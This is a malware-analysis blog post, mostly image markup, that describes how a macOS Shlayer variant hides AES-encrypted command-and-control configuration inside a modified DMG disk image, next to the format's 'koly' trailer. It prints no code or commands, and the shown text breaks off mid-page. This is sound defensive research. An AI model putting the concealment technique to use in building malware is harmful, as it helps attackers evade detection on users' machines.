srcset="https://substackcdn.com/image/fetch/$s_!-Ibx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 424w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 848w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 1272w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-Ibx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png" width="875" height="875" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:875,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-Ibx!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 424w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 848w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 1272w, https://substackcdn.com/image/fetch/$s_!-Ibx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F663172e2-1bb0-4b30-8e71-cb304b6cfadd_875x875.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">image generated using OpenAI DALL&#183;E models</figcaption></figure></div><p><em>Originally written by <strong>Taha Karim</strong></em></p><h2><strong>Intro</strong></h2><p>While conducting routine threat hunting for macOS malware on Ad networks, I stumbled upon an unusual Shlayer sample. Upon further analysis, it became clear that this variant was different from the known Shlayer variants such as <strong>OSX/Shlayer.D</strong>, <strong>OSX/Shlayer.E</strong>, or <strong>ZShlayer</strong>. We have dubbed it <strong>OSX/Shlayer.F.</strong></p><p>I then started tracking this <strong>OSX/Shlayer.F</strong> variant and checked to see if other vendors had encountered or written about it. It turns out that this variant had been reported on in previous blog posts:</p><ul><li><p>26th April 2021 by Jamf, <a href="https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/">here</a></p></li><li><p>19th July 2021 by CrowdStrike, <a href="https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/">her</a>e</p></li></ul><p>I wanted to revisit the <strong>OSX/Shlayer.F</strong> variant of the Shlayer malware to report on a technique that has not previously been seen in other macOS malware for hiding Command and Control (C2) information. This variant encrypts its configuration using <strong>AES</strong> within the DMG file header structure, resulting in a modified DMG file. The modification is cleverly crafted and does not cause the DMG file to become corrupted or malfunction. In fact, the macOS operating system is able to mount these modified DMG files and load them as usual.</p><p>Modified DMG files have been used by malware in the past, such as in the CIA&#8217;s <a href="https://wikileaks.org/vault7/#Imperial">Imperial</a> project, which included a tool called Achilles that allowed operators to trojanize OS X disk image installers (DMG files) with a specified executable for one-time execution. This recent finding of the Shlayer malware hiding its configuration within DMG files brings to mind the potential for mac malware authors to use this technique more aggressively in the future, potentially for hiding essential components of their malware.</p><h3><strong>Some Shlayer thoughts before we dive in</strong></h3><p>Shlayer is a very primitive piece of malware, but had different modifications including this <a href="https://securelist.com/shlayer-for-macos/95724/">variant</a> <strong>Trojan-Downloader.OSX.Shlayer.e</strong> reported by Kaspersky back in Jan 2020 as it is written in Python instead of bash.</p><p>Most of Shlayer has a bash script form like this variant <strong>OSX/Shlayer.D</strong> that I reported on back in 2019 <a href="https://blog.confiant.com/osx-shlayer-new-shurprise-unveiling-osx-tarmac-f965a32de887">here</a> and SentionelOne <a href="https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/">reported</a> about <strong>ZShlayer</strong> in Septembre 2020, which is a variation of OSX/Shlayer.D that uses ZSH. There was also mach-O variant of Shlayer reported by UPTYCS <a href="https://www.uptycs.com/blog/macos-bashed-apples-of-shlayer-and-bundlore">here</a> in July 2021, but no name was given to this variant specifically.</p><p>Shlayer has mainly been used as an installer/downloader, its main goal being to download adware like <a href="https://www.uptycs.com/blog/macos-bashed-apples-of-shlayer-and-bundlore">Bundlore</a> (even though Bundlore can have its own installer as we reported <a href="https://twitter.com/ConfiantIntel/status/1451641996800454660?s=20&amp;t=K_UFB7t5SdtV9rIVzgV6gg">here</a>). But it can also download other Adware like the Cimpli installer as reported by Karspersky <a href="https://securelist.com/shlayer-for-macos/95724/">here</a>, etc.</p><p>Let&#8217;s dive into DMG files and see how Shlayer was able to modify them.</p><h3><strong>So what is an Apple DMG file?</strong></h3><p>Jonathan Levin described the format very well <a href="http://newosxbook.com/DMG.html">here</a> and I invite the readers to go read his post for a much complete DMG format description.</p><p>If you are a macOS user you have probably already encountered DMG files when you download software. For non-mac Users, a DMG file is a mountable <a href="https://techterms.com/definition/diskimage">disk image</a> primarily used to distribute software to the macOS operating system. Mac users typically download the file from the Internet and then double-click it to install an application on their computer:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!98Sh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!98Sh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 424w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 848w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 1272w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!98Sh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png" width="875" height="539" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3496d53f-30af-440d-831f-3917ed64b66a_875x539.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:539,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!98Sh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 424w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 848w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 1272w, https://substackcdn.com/image/fetch/$s_!98Sh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3496d53f-30af-440d-831f-3917ed64b66a_875x539.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>source: <a href="https://fileinfo.com/extension/dmg">https://fileinfo.com/extension/dmg</a></p><p>In a nutshell a DMG file format is often represented like this :</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TduM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TduM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 424w, https://substackcdn.com/image/fetch/$s_!TduM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 848w, https://substackcdn.com/image/fetch/$s_!TduM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 1272w, https://substackcdn.com/image/fetch/$s_!TduM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TduM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png" width="688" height="504" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:504,&quot;width&quot;:688,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!TduM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 424w, https://substackcdn.com/image/fetch/$s_!TduM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 848w, https://substackcdn.com/image/fetch/$s_!TduM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 1272w, https://substackcdn.com/image/fetch/$s_!TduM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe554c2bc-299e-4db0-8856-29f07efb39ba_688x504.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Author: Jonathan Levin source: <a href="http://newosxbook.com/DMG.html">http://newosxbook.com/DMG.html</a></figcaption></figure></div><ul><li><p>compressed image blocks (compression algorithm can vary)</p></li><li><p>followed by a XML property list (plist) : This property list contains the DMG block map table. it is technically the resource fork of the DMG.</p></li><li><p>followed by a 512-byte trailer at the end of the file. This trailer is identifiable by a magic 32-bit value, 0x6B6F6C79, which is &#8220;koly&#8221;. we will call it the &#8220;koly&#8221; block in this blog post.</p></li></ul><p>Let&#8217;s pick a regular DMG file (not trojanized), let&#8217;s randomly check OSX/ZuRu that was fully analyzed by macOS security expert Patrick Wardle <a href="https://objective-see.org/blog/blog_0x66.html">here</a>. This malware was delivered via a <a href="https://zhuanlan.zhihu.com/p/408746101">trojanized</a> Iterm2 app, but let&#8217;s focus on the DMG file:</p><p><a href="https://www.virustotal.com/gui/file/e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa">e5126f74d430ff075d6f7edcae0c95b81a5e389bf47e4c742618a042f378a3fa</a></p><p>We can see a typical and non modified DMG file:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-0v8!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-0v8!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 424w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 848w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 1272w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-0v8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png" width="875" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-0v8!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 424w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 848w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 1272w, https://substackcdn.com/image/fetch/$s_!-0v8!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faea7ae8d-07fd-48f0-8025-913d46a0cf17_875x709.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>trailing koly block in an unmodified dmg file</p><p>We can say that the DMG file of this malware, is safe and not modified and everything looks normal.</p><p>Now let&#8217;s pick a modified DMG of a Shlayer malware and check the differences, and we can notice a blob of encrypted data was inserted between the plist file and the koli block (I blurred the blob hex bytes because as we will see later, the Shlayer config could contain identifiable victim information)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!X4tw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!X4tw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 424w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 848w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 1272w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!X4tw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png" width="1456" height="1522" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1522,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!X4tw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 424w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 848w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 1272w, https://substackcdn.com/image/fetch/$s_!X4tw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd35d2344-f5f1-4935-b29e-783f968175b2_1500x1568.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 